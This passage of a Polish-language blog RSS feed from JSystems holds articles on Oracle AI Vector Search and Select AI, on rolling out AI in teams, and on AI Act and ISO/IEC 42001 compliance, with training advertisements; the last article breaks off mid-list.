Oracle Machine Learning i AI Vector Search działają &lt;em&gt;w całości wewnątrz bazy&lt;/em&gt; - żadne dane nie opuszczają serwera. Select AI jest inaczej skonstruowany: &lt;strong&gt;schemat i pytanie trafiają do zewnętrznego LLM&lt;/strong&gt; przez HTTPS. To często decyduje o wyborze: w regulowanych branżach (banki, ochrona zdrowia) może wymagać dodatkowej zgody na przetwarzanie metadanych poza organizacją.&lt;/p&gt;

&lt;h3&gt;
  
  
  Kiedy Select AI naprawdę się przydaje
&lt;/h3&gt;

&lt;p&gt;Select AI nie zastąpi analityka, który musi pisać skomplikowane zapytania z wieloma JOINami, funkcjami okna czy hierarchiami. Sprawdza się natomiast doskonale w scenariuszach, gdzie &lt;strong&gt;wartość leży w demokratyzacji dostępu do danych&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Self-service BI dla menedżerów&lt;/strong&gt; - kierownik sprzedaży sam sprawdza wyniki bez angażowania działu IT.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rapid prototyping zapytań&lt;/strong&gt; - programista pisze pytanie, dostaje bazowy SQL, który potem doprecyzowuje ręcznie.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Onboarding do nieznanej bazy&lt;/strong&gt; - nowy pracownik szybko eksploruje nieznany schemat pytaniami w języku naturalnym.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dashboardy z dynamicznymi pytaniami&lt;/strong&gt; - aplikacje, gdzie użytkownik wpisuje pytanie i dostaje wynik bez własnego SQL.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Dlaczego AI w bazie ma sens?
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Aspekt&lt;/th&gt;
&lt;th&gt;Osobna baza wektorowa&lt;/th&gt;
&lt;th&gt;AI Vector Search w Oracle&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Lokalizacja danych&lt;/td&gt;
&lt;td&gt;Kopia danych w drugim systemie&lt;/td&gt;
&lt;td&gt;Wektory obok danych biznesowych&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Spójność i transakcje&lt;/td&gt;
&lt;td&gt;Synchronizacja, ryzyko rozjazdu&lt;/td&gt;
&lt;td&gt;Pełne ACID, jedna transakcja&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bezpieczeństwo&lt;/td&gt;
&lt;td&gt;Drugi model uprawnień&lt;/td&gt;
&lt;td&gt;Te same role i uprawnienia Oracle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Backup i odtwarzanie&lt;/td&gt;
&lt;td&gt;Osobny proces&lt;/td&gt;
&lt;td&gt;Wspólny RMAN / Data Guard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Złączenia z danymi firmy&lt;/td&gt;
&lt;td&gt;Trudne (dwa systemy)&lt;/td&gt;
&lt;td&gt;Zwykły JOIN w SQL&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Najczęstsze pytania
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Od której wersji Oracle ma wyszukiwanie wektorowe?
&lt;/h3&gt;

&lt;p&gt;Od Oracle Database 23ai (maj 2024) i w kolejnych wydaniach linii 23 (oznaczanych jako 26ai). Funkcja jest też w darmowej edycji Oracle Database Free - na niej powstały przykłady w tym artykule.&lt;/p&gt;

&lt;h3&gt;
  
  
  Czy potrzebuję osobnej bazy wektorowej?
&lt;/h3&gt;

&lt;p&gt;Nie. W 23ai wektor to typ danych &lt;code&gt;VECTOR&lt;/code&gt; w zwykłej tabeli - z tymi samymi transakcjami, backupem i uprawnieniami co reszta bazy.&lt;/p&gt;

&lt;h3&gt;
  
  
  Czy AI w Oracle wymaga wysyłania danych na zewnątrz?
&lt;/h3&gt;

&lt;p&gt;Vector Search i Oracle Machine Learning działają w całości w bazie - embeddingi możesz liczyć lokalnie z modelu ONNX. Zewnętrzny LLM jest potrzebny tylko dla funkcji generatywnych (Select AI, generowanie odpowiedzi w RAG).&lt;/p&gt;

&lt;h3&gt;
  
  
  Zaawansowany Oracle SQL - fundament pod AI w bazie
&lt;/h3&gt;

&lt;p&gt;Vector Search, OML i Select AI to nadal SQL. Naucz się pisać zaawansowane zapytania, funkcje analityczne i optymalizować wydajność u praktyka JSystems.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-oracle;zaawansowany_sql.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post380&amp;amp;utm_content=link_ai-w-oracle-vector-search-machine-learning" rel="noopener noreferrer"&gt;Zaawansowany Oracle SQL - terminy gwarantowane&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Interesuje Cię strona AI/ML? Zobacz też &lt;a href="https://jsystems.pl/szkolenia-python;uczenie_maszynowe_w_pythonie.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post380&amp;amp;utm_content=link_ai-w-oracle-vector-search-machine-learning" rel="noopener noreferrer"&gt;Uczenie maszynowe w Pythonie&lt;/a&gt; oraz &lt;a href="https://jsystems.pl/szkolenia-ai;rag.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post380&amp;amp;utm_content=link_ai-w-oracle-vector-search-machine-learning" rel="noopener noreferrer"&gt;Tworzenie systemu RAG z LangChain&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>oracle</category>
      <category>ai</category>
      <category>machinelearning</category>
      <category>database</category>
    </item>
    <item>
      <title>AI dla liderów: jak wdrożyć AI w zespole bez chaosu i straconych pieniędzy</title>
      <dc:creator>Andrzej Klusiewicz</dc:creator>
      <pubDate>Tue, 25 Aug 2026 07:03:51 +0000</pubDate>
      <link>https://dev.to/andrzej_klusiewicz_08588c/ai-dla-liderow-jak-wdrozyc-ai-w-zespole-bez-chaosu-i-straconych-pieniedzy-5h1h</link>
      <guid>https://dev.to/andrzej_klusiewicz_08588c/ai-dla-liderow-jak-wdrozyc-ai-w-zespole-bez-chaosu-i-straconych-pieniedzy-5h1h</guid>
      <description>&lt;p&gt;Wdrożenie AI w zespole najczęściej nie wywraca się na technologii, tylko na zarządzaniu zmianą. Poniżej konkretny plan dla liderów, którzy nie chcą spalić budżetu na eksperymenty bez efektu.&lt;/p&gt;

&lt;h1&gt;
  
  
  AI dla liderów - jak wdrożyć AI w zespole bez chaosu i straconych pieniędzy
&lt;/h1&gt;

&lt;p&gt;Większość wdrożeń AI w firmach kończy się jednym z dwóch scenariuszy: albo nic się nie zmienia ("kupiliśmy licencję Copilota, nikt nie używa"), albo chaos ("każdy używa innego narzędzia, nie wiadomo jakie dane wychodzą na zewnątrz"). Dobrze zaplanowane wdrożenie AI to projekt zarządzania zmianą, nie projekt technologiczny. Ten artykuł jest dla liderów którzy chcą uniknąć obu pułapek.&lt;/p&gt;

&lt;h2&gt;
  
  
  Dlaczego większość wdrożeń AI w firmach zawodzi
&lt;/h2&gt;

&lt;p&gt;Badania McKinsey (2025): tylko 23% firm które wdrożyły narzędzia AI osiągnęło mierzalne efekty biznesowe. Główne przyczyny porażek:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Brak clear ownership - "kto odpowiada za AI?" - nikt konkretny&lt;/li&gt;
&lt;li&gt;Wybór narzędzi zanim zdefiniowano problemy które AI ma rozwiązać&lt;/li&gt;
&lt;li&gt;Ignorowanie ryzyk: bezpieczeństwo danych, halucynacje, AI Act&lt;/li&gt;
&lt;li&gt;Opór pracowników którzy boją się że AI ich zastąpi&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Framework wdrożenia AI - 5 kroków
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Krok 1: Zdefiniuj problem, nie technologię
&lt;/h3&gt;

&lt;p&gt;Nie "wdrożymy AI" ale "chcemy skrócić czas obsługi ticketów z 4h do 1h". Konkretny problem → konkretne rozwiązanie → mierzalny efekt. Bez tego każde wdrożenie jest projektem bez celu.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 2: Wyznacz AI Champion
&lt;/h3&gt;

&lt;p&gt;Jedna osoba odpowiedzialna za wdrożenie AI w organizacji lub zespole. Nie musi być techniczna - musi rozumieć biznes i mieć autorytet żeby zmieniać procesy. Bez championa projekt ginie w bieżącej pracy.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 3: Zidentyfikuj quick wins
&lt;/h3&gt;

&lt;p&gt;Trzy pierwsze use case powinny być:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Powtarzalne zadania (min. 5h/tyg. w zespole)&lt;/li&gt;
&lt;li&gt;Mierzalne (czas, jakość, koszt)&lt;/li&gt;
&lt;li&gt;Bezpieczne (nie dotyczą krytycznych danych)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Przykłady: streszczanie raportów, draft odpowiedzi na maile, generowanie dokumentacji.&lt;/p&gt;

&lt;h3&gt;
  
  
  Krok 4: Polityka AI - zasady zanim narzędzia
&lt;/h3&gt;

&lt;p&gt;Przed wdrożeniem ustal:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Jakich danych nie wolno wklejać do zewnętrznych LLM (dane klientów, PESEL, tajemnice handlowe)&lt;/li&gt;
&lt;li&gt;Które narzędzia są zatwierdzone, które zakazane&lt;/li&gt;
&lt;li&gt;Jak oznaczać treści wygenerowane przez AI (&lt;a href="https://jsystems.pl/blog/show_post/ai_act_2026_co_musza_zrobic_polskie_firmy_zeby_byc_zgodne_z_prawem/" rel="noopener noreferrer"&gt;AI Act&lt;/a&gt; requirement)&lt;/li&gt;
&lt;li&gt;Kto weryfikuje output AI przed użyciem w decyzjach biznesowych&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Krok 5: Szkolenie praktyczne
&lt;/h3&gt;

&lt;p&gt;Jednogodzinne webinary "co to jest AI" niczego nie zmieniają. Efektywne szkolenie to: konkretne narzędzie + konkretne zadanie z pracy uczestnika + ćwiczenia. Pracownik wychodzi ze szkolenia z konkretnymi umiejętnościami dla swojej roli.&lt;/p&gt;

&lt;h2&gt;
  
  
  Jak komunikować AI pracownikom którzy boją się utraty pracy
&lt;/h2&gt;

&lt;p&gt;Liderzy którzy ignorują ten lęk sabotują własne wdrożenia. Skuteczna komunikacja:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Konkretnie: "AI będzie obsługiwać X, Ty będziesz robić Y - które jest ciekawsze"&lt;/li&gt;
&lt;li&gt;Zaangażuj pracowników w definiowanie use cases - własność zmniejsza opór&lt;/li&gt;
&lt;li&gt;Pokaż quick wins jak AI pomaga, nie zastępuje&lt;/li&gt;
&lt;li&gt;Uczciwie: tam gdzie AI zastępuje stanowiska - powiedz to wprost i zarządzaj tym transparentnie&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Metryki sukcesu wdrożenia AI
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Obszar&lt;/th&gt;
&lt;th&gt;Metryka&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Adopcja&lt;/td&gt;
&lt;td&gt;% pracowników używających AI co tydzień&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Produktywność&lt;/td&gt;
&lt;td&gt;Czas wykonania konkretnych zadań (przed/po)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Jakość&lt;/td&gt;
&lt;td&gt;Liczba rewizji dokumentów, błędów, eskalacji&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bezpieczeństwo&lt;/td&gt;
&lt;td&gt;Liczba incydentów z danymi przez AI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ROI&lt;/td&gt;
&lt;td&gt;Koszt licencji vs. zaoszczędzony czas × stawka&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-ai;ai_act.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post365&amp;amp;utm_content=banner_ai_dla_liderow_jak_wdrozyc_ai_w_zespole_bez_chaosu_i_straconych_pieniedzy" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8d2mutfleuf5f4a9udm4.jpg" alt="Szkolenie Gotowość na AI ACT" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-ai;ai_act.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post365&amp;amp;utm_content=banner_ai_dla_liderow_jak_wdrozyc_ai_w_zespole_bez_chaosu_i_straconych_pieniedzy" rel="noopener noreferrer"&gt;Szkolenie Gotowość na AI ACT →&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To szkolenie może być &lt;a href="https://jsystems.pl/dofinansowanie?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post365&amp;amp;utm_content=dofinansowanie" rel="noopener noreferrer"&gt;dofinansowane dla Ciebie z KFS lub BUR&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;★★★★★Średnia ocena naszych szkoleń w Google: &lt;strong&gt;5/5&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Newsletter bloga JSystems&lt;/p&gt;

&lt;h3&gt;
  
  
  Otrzymuj nowe artykuły prosto na swoją skrzynkę
&lt;/h3&gt;

&lt;p&gt;Zapisz się do newslettera bloga JSystems - wiedza IT i AI bez szumu, prosto na Twoją skrzynkę.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/blog/subscribe2newsletter/" rel="noopener noreferrer"&gt;Zapisz się do newslettera&lt;/a&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>leadership</category>
      <category>management</category>
      <category>business</category>
    </item>
    <item>
      <title>AI Compliance 2026: poradnik AI Act + ISO 42001 dla firm, które muszą to wdrożyć</title>
      <dc:creator>Andrzej Klusiewicz</dc:creator>
      <pubDate>Tue, 25 Aug 2026 07:03:23 +0000</pubDate>
      <link>https://dev.to/andrzej_klusiewicz_08588c/ai-compliance-2026-poradnik-ai-act-iso-42001-dla-firm-ktore-musza-to-wdrozyc-i2d</link>
      <guid>https://dev.to/andrzej_klusiewicz_08588c/ai-compliance-2026-poradnik-ai-act-iso-42001-dla-firm-ktore-musza-to-wdrozyc-i2d</guid>
      <description>&lt;p&gt;AI Act i ISO/IEC 42001 to dziś dwa filary compliance AI w firmie — i większość organizacji miesza je ze sobą. Rozdzielamy je jasno i pokazujemy, co realnie trzeba wdrożyć w 2026.&lt;/p&gt;

&lt;p&gt;Każda firma w Polsce, która używa lub tworzy systemy AI, podlega rozporządzeniu &lt;strong&gt;AI ACT&lt;/strong&gt;. Kary za nieprzestrzeganie sięgają &lt;strong&gt;35 milionów euro lub 7% globalnego obrotu&lt;/strong&gt;, a pełne przepisy obowiązują od sierpnia 2026.&lt;/p&gt;

&lt;p&gt;Ten poradnik zbiera w jednym miejscu cztery bezpłatne artykuły dla CTO, CISO i zarządu: od przeglądu przepisów, przez praktyczny checklist i certyfikację ISO 42001, po strategię wdrożenia AI w zespole. Każdy artykuł możesz przeczytać osobno, klikając przycisk pod jego opisem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Artykuły serii
&lt;/h2&gt;

&lt;p&gt;Część 1&lt;/p&gt;

&lt;h3&gt;
  
  
  AI ACT 2026: co muszą zrobić polskie firmy
&lt;/h3&gt;

&lt;p&gt;Przegląd wymagań AI ACT dla polskich przedsiębiorstw. Klasyfikacja ryzyka AI (niedopuszczalne, wysokie, ograniczone, minimalne), harmonogram wchodzenia przepisów w życie, konkretne obowiązki w zależności od tego, czy używasz AI jako narzędzia, czy dostarczasz własne systemy, oraz kary i organy egzekwujące w Polsce.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/blog/show_post/ai_act_2026_co_musza_zrobic_polskie_firmy_zeby_byc_zgodne_z_prawem" rel="noopener noreferrer"&gt;Czytaj artykuł&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Część 2&lt;/p&gt;

&lt;h3&gt;
  
  
  AI ACT: praktyczny checklist dla CTO i CISO
&lt;/h3&gt;

&lt;p&gt;Operacyjna lista kontrolna dla osób odpowiedzialnych za wdrożenie compliance. Krok po kroku: inwentaryzacja systemów AI, wymagana dokumentacja, szkolenia pracowników, procedury monitoringu i audytu. W środku gotowy szablon 4-tygodniowego planu, od oceny stanu obecnego po dokumentację gotową na kontrolę regulatora.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/blog/show_post/ai_act_2026_praktyczny_checklist_dla_cto_i_ciso_bez_prawniczego_zargonu" rel="noopener noreferrer"&gt;Czytaj artykuł&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Część 3&lt;/p&gt;

&lt;h3&gt;
  
  
  ISO/IEC 42001: jak wdrożyć AIMS w firmie
&lt;/h3&gt;

&lt;p&gt;ISO/IEC 42001 to międzynarodowy standard Systemu Zarządzania AI (AIMS). Certyfikacja to najmocniejszy dowód zgodności wobec AI ACT. Artykuł wyjaśnia, czym 42001 różni się od ISO 27001, omawia kluczowe wymagania, plan wdrożenia w sześciu krokach oraz realistyczne szacunki kosztów i czasu dla polskiej firmy.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/blog/show_post/isoiec_42001_jak_wdrozyc_system_zarzadzania_ai_w_firmie_aims" rel="noopener noreferrer"&gt;Czytaj artykuł&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Część 4&lt;/p&gt;

&lt;h3&gt;
  
  
  AI dla Liderów: jak wdrożyć AI w zespole bez chaosu
&lt;/h3&gt;

&lt;p&gt;Najlepsza dokumentacja nie pomoże, jeśli lider nie poprowadzi organizacji przez zmianę. Przewodnik dla CXO, dyrektorów IT i liderów transformacji: tworzenie polityki AI (z szablonem), zmniejszanie oporu wobec AI, struktura governance (AI Officer, Data Steward), model dojrzałości organizacji oraz 90-dniowa roadmapa wdrożenia.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/blog/show_post/ai_dla_liderow_jak_wdrozyc_ai_w_zespole_bez_chaosu_i_straconych_pieniedzy" rel="noopener noreferrer"&gt;Czytaj artykuł&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-ai;ai_act.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post383&amp;amp;utm_content=banner_ai_compliance_2026_poradnik_ai_act_iso_42001_wdrozenie" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8d2mutfleuf5f4a9udm4.jpg" alt="Szkolenie Gotowość na AI ACT - JSystems" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-ai;ai_act.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post383&amp;amp;utm_content=banner_ai_compliance_2026_poradnik_ai_act_iso_42001_wdrozenie" rel="noopener noreferrer"&gt;Szkolenie Gotowość na AI ACT →&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To szkolenie może być &lt;a href="https://jsystems.pl/dofinansowanie?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post383&amp;amp;utm_content=dofinansowanie" rel="noopener noreferrer"&gt;dofinansowane dla Ciebie z KFS lub BUR&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;★★★★★Średnia ocena naszych szkoleń w Google: &lt;strong&gt;5/5&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Szkolenie: Gotowość na AI ACT
&lt;/h2&gt;

&lt;p&gt;Chcesz przeprowadzić swoją firmę przez wdrożenie compliance razem z ekspertem, zamiast czytać przepisy w pojedynkę? JSystems prowadzi praktyczne, otwarte szkolenie z AI ACT, na którym przekładamy wymagania rozporządzenia na konkretne działania w Twojej organizacji.&lt;/p&gt;

&lt;p&gt;Prowadzi &lt;strong&gt;Krzysztof Supowicz&lt;/strong&gt;, ekspert AI governance z doświadczeniem w dużych organizacjach.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-ai;ai_act.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post383&amp;amp;utm_content=link_ai_compliance_2026_poradnik_ai_act_iso_42001_wdrozenie" rel="noopener noreferrer"&gt;Zobacz szkolenie AI ACT&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Powiązane szkolenia: &lt;a href="https://jsystems.pl/szkolenia-ai;iso_42001_implementation.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post383&amp;amp;utm_content=link_ai_compliance_2026_poradnik_ai_act_iso_42001_wdrozenie" rel="noopener noreferrer"&gt;ISO/IEC 42001 AIMS Implementation&lt;/a&gt; oraz &lt;a href="https://jsystems.pl/szkolenia-ai;ai_dla_liderow.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post383&amp;amp;utm_content=link_ai_compliance_2026_poradnik_ai_act_iso_42001_wdrozenie" rel="noopener noreferrer"&gt;AI dla Liderów&lt;/a&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Bądź na bieżąco
&lt;/h2&gt;

&lt;p&gt;Otrzymuj nowe artykuły o AI, prawie i technologiach IT prosto na email. &lt;a href="https://jsystems.pl/blog/subscribe2newsletter/" rel="noopener noreferrer"&gt;Zapisz się na newsletter JSystems&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>aiact</category>
      <category>iso42001</category>
      <category>compliance</category>
      <category>ai</category>
    </item>
    <item>
      <title>ISO/IEC 42001 w praktyce: jak wdrożyć System Zarządzania AI (AIMS) w firmie</title>
      <dc:creator>Andrzej Klusiewicz</dc:creator>
      <pubDate>Tue, 25 Aug 2026 07:03:00 +0000</pubDate>
      <link>https://dev.to/andrzej_klusiewicz_08588c/isoiec-42001-w-praktyce-jak-wdrozyc-system-zarzadzania-ai-aims-w-firmie-3il2</link>
      <guid>https://dev.to/andrzej_klusiewicz_08588c/isoiec-42001-w-praktyce-jak-wdrozyc-system-zarzadzania-ai-aims-w-firmie-3il2</guid>
      <description>&lt;p&gt;ISO/IEC 42001 to pierwsza międzynarodowa norma dla systemów zarządzania AI — i mało kto wie, od czego zacząć wdrożenie. Rozkładamy AIMS na etapy, które da się faktycznie ogarnąć.&lt;/p&gt;

&lt;h1&gt;
  
  
  ISO/IEC 42001 - jak wdrożyć System Zarządzania AI w firmie (AIMS)
&lt;/h1&gt;

&lt;p&gt;ISO/IEC 42001 to pierwsza na świecie norma dotycząca systemów zarządzania sztuczną inteligencją. Opublikowana w grudniu 2023 roku przez ISO/IEC JTC 1/SC 42, staje się standardem dla organizacji które chcą zarządzać AI w sposób odpowiedzialny, systematyczny i audytowalny. W połączeniu z wymogami AI ACT - ISO 42001 staje się ważnym narzędziem compliance. Ten artykuł wyjaśnia co to jest, dlaczego warto i jak wdrożyć.&lt;/p&gt;

&lt;h2&gt;
  
  
  Czym jest ISO/IEC 42001?
&lt;/h2&gt;

&lt;p&gt;ISO 42001 definiuje wymagania dla &lt;strong&gt;AIMS - Artificial Intelligence Management System&lt;/strong&gt; - systemu zarządzania AI w organizacji. Analogicznie jak:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ISO 27001 → bezpieczeństwo informacji&lt;/li&gt;
&lt;li&gt;ISO 9001 → jakość&lt;/li&gt;
&lt;li&gt;ISO 42001 → zarządzanie AI&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Norma opisuje jak organizacja powinna planować, wdrażać, monitorować i doskonalić swoje praktyki AI.&lt;/p&gt;

&lt;h2&gt;
  
  
  Zakres normy - co obejmuje
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Kontekst organizacji&lt;/strong&gt; - identyfikacja interesariuszy AI, zakres AIMS&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Przywództwo&lt;/strong&gt; - zaangażowanie zarządu, polityka AI, role i odpowiedzialności&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Planowanie&lt;/strong&gt; - ocena ryzyk i szans związanych z AI, cele AI&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wsparcie&lt;/strong&gt; - zasoby, kompetencje, świadomość, komunikacja, dokumentacja&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Operacje&lt;/strong&gt; - zarządzanie cyklem życia systemów AI, procurement AI od zewnętrznych dostawców&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ocena wyników&lt;/strong&gt; - monitorowanie, audyty wewnętrzne, przegląd zarządzania&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Doskonalenie&lt;/strong&gt; - obsługa niezgodności, ciągłe doskonalenie&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Dlaczego warto wdrożyć ISO 42001?
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Compliance z AI ACT
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/blog/show_post/ai_act_2026_co_musza_zrobic_polskie_firmy_zeby_byc_zgodne_z_prawem/" rel="noopener noreferrer"&gt;AI ACT&lt;/a&gt; wymaga od dostawców systemów AI wysokiego ryzyka systemu zarządzania jakością AI. ISO 42001 może służyć jako dowód spełnienia tych wymagań. Certyfikacja ISO 42001 może być uznana przez organy nadzoru jako element zgodności.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Przewaga konkurencyjna i zaufanie
&lt;/h3&gt;

&lt;p&gt;Klienci enterprise i instytucje publiczne coraz częściej pytają dostawców o podejście do AI governance. Certyfikat ISO 42001 to konkretna odpowiedź na te pytania - przewaga przy przetargach i kontraktach B2B.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Zarządzanie ryzykiem AI
&lt;/h3&gt;

&lt;p&gt;Bez systemu zarządzania: ryzyko halucynacji modeli w decyzjach biznesowych, data leakage, stronniczość algorytmów, naruszenia regulacyjne. AIMS daje strukturę do identyfikacji i mitygacji tych ryzyk.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Kultura odpowiedzialnego AI
&lt;/h3&gt;

&lt;p&gt;Systematyczne podejście do AI zamiast ad hoc - każdy pracownik zna zasady, obowiązki są jasne, incydenty są raportowane i analizowane. Jak przeprowadzić organizację przez tę zmianę kulturową, opisuje artykuł &lt;a href="https://jsystems.pl/blog/show_post/ai_dla_liderow_jak_wdrozyc_ai_w_zespole_bez_chaosu_i_straconych_pieniedzy/" rel="noopener noreferrer"&gt;AI dla Liderów&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  ISO 42001 vs ISO 27001 - czym się różnią
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Aspekt&lt;/th&gt;
&lt;th&gt;ISO 27001&lt;/th&gt;
&lt;th&gt;ISO 42001&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Fokus&lt;/td&gt;
&lt;td&gt;Bezpieczeństwo informacji&lt;/td&gt;
&lt;td&gt;Zarządzanie systemami AI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Główne ryzyka&lt;/td&gt;
&lt;td&gt;Naruszenie poufności, dostępności, integralności&lt;/td&gt;
&lt;td&gt;Stronniczość AI, halucynacje, bezpieczeństwo AI, compliance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Struktura&lt;/td&gt;
&lt;td&gt;Annex SL (wspólna struktura ISO)&lt;/td&gt;
&lt;td&gt;Annex SL + rozszerzenia AI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kompatybilność&lt;/td&gt;
&lt;td&gt;Można integrować z 42001&lt;/td&gt;
&lt;td&gt;Zbudowane na tych samych zasadach&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Firmy które mają ISO 27001 mogą wdrożyć ISO 42001 szybciej - struktury są podobne.&lt;/p&gt;

&lt;h2&gt;
  
  
  Jak wygląda ścieżka wdrożenia?
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Gap analysis&lt;/strong&gt; - gdzie jesteśmy vs. wymagania normy&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inwentaryzacja systemów AI&lt;/strong&gt; - co używamy, co tworzymy&lt;/li&gt;
&lt;li&gt;
